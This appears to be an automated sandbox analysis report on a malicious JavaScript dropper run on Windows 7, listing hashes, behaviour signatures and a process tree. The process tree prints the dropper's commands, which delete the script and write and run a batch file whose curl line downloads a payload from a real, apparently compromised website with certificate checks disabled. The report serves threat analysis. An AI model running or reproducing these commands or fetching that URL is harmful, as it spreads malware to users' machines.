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Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14/10/2023, 01:39

General

  • Target

    Document_09_13_927.js

  • Size

    43KB

  • MD5

    03677c4079fafd6413c5552f3d6da926

  • SHA1

    28f14a816b7fb22630c7d59af9d404f51dab4f69

  • SHA256

    32ee3a4074bff70f212b88233f37f72796982c3e579fcdcc7c773ae5c41ae010

  • SHA512

    debf24ab43ea09c567afe47e5289fad62fb19e7d8d1d6401e466feec1f1da84e3652e06854750e0911cdeead48b7a86bfeb74e440ca43bbda9588162da9875fc

  • SSDEEP

    384:eo/1qDp3h548/pzFhb2uhK2U2yoWmfrL4tuEsSRqQ1SDIJnjOsetOI88s8vr6z1d:/qHLi+lIR6J2kzqpaJfs9

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Document_09_13_927.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\Document_09_13_927.js"
      2⤵
      • Deletes itself
      PID:2600
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo curl https://shankarmallapur.com/wp-content/ewww/image-backup/uploads/2019/11/6603.7z --output "C:\Users\Admin\AppData\Local\Temp\voluptatem.p" --ssl-no-revoke --insecure --location > "C:\Users\Admin\AppData\Local\Temp\quia.j.bat"
      2⤵
        PID:2132
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\quia.j.bat"
        2⤵
          PID:2728

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\quia.j.bat

        Filesize

        184B

        MD5

        69d466581b9f52f28ca830ea196000d1

        SHA1

        e28316b3d54e97322014e898b4025139286c014c

        SHA256

        4d0fa867e22ced070e431af28666e0e2caaa1822b61f0424610a903e73f87118

        SHA512

        b8cdbcafb5e8b2b12fd2bb3041ca4bbd2f533b1069911cea355e647044ee3cd795671fba486f44125835d60a93876485d6784db31eb080707daeac105922844e